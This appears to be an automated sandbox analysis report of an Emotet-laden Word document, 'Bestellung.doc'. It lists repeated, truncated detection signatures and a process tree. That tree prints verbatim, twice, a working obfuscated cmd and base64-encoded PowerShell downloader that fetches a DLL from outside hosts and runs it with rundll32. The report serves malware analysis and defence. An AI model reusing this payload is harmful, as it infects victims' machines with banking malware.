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Analysis Report Bestellung.doc

Overview

General Information

Sample 
Name:

Bestellung.doc

Analysis ID: 344273

MD5: 268e0826d78c06…

SHA1: 5f14c1a62195af4…

SHA256: f9f3c11c9f92d92…

Most interesting Screenshot:

Detection

EmotetEmotet

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected EmotetYara detected Emotet

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMICreates processes via WMI

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline optionEncrypted powershell cmdline option……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line foundObfuscated command line found

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in powPotential dropper URLs found in pow……

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by Sigma detected: Suspicious Call by ……

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious EncodeSigma detected: Suspicious Encode……

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command lineSuspicious powershell command line……

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on noUses known network protocols on no……

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line foundVery long command line found

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direcCreates files inside the system direc……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA Document contains embedded VBA ……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced CryptogUses Microsoft's Enhanced Cryptog……

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version foUses insecure TLS / SSL version fo……

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, thisVery long cmdline option found, this……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

WINWORD.EXE (PID: 2436 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

cmd.exe (PID: 2608 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc       IAAgAFM

AZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACc
AUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACA
AKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACc
ALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAK
QAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAAT
gA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQ
QBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAK
wAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAK
wAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAK
wBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJ
wArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJ

wArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAI
AA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZ
gBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAK
AAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwB
IAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJAB
EADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARAB
lAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB
0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvA
DAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzA
CcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACc
AbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJ
wAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAc
wAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZ
QBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAK
wAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAK
wAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQA
rACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnA
CsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACs
AJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACc
AbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJ
wBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0AL
wAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAW
wBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAX
QApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJ
wBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAK
QB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAa
QBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AM
gAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8Ae
gA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJ
wApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AY
ABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAU
QA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJ
wBWACcAKQApAA==  MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

msg.exe (PID: 2572 cmdline: msg user /v Word experienced an error trying to open the file.  MD5: 2214979661E779C3E3C33D4F14E6F3AC)

powershell.exe (PID: 2396 cmdline: powershell -w hidden -enc       IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1

Startup
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powershell.exe (PID: 2396 cmdline: powershell -w hidden -enc       IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1

AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0
AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3
AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJ
AG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAg
ACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAg
ACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBj
AGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBq
AEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABM
AGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBb
AGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBF
AEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9
ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7
ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwAr
ACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBh
AFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQAp
ACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwAp
ADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAg
AHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBl
AG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQAr
ACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwAr
ACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBk

ACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAn
ACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBp
AGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAh
ACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAv
AHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwAr
ACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQAr
ACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwAr
ACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAv
ACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAv
AGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwAr
ACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABv
AHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAg
AGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3
ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAy
AEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABp
AG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBN
AC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABR
AGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAn
ACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAn
AHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwAp
ACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7
AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAo
ACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)

rundll32.exe (PID: 1204 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2896 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString MD5: 

51138BEEA3E2C21EC44D0932C71762A8)
rundll32.exe (PID: 2952 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll',#1 MD5: 

51138BEEA3E2C21EC44D0932C71762A8)
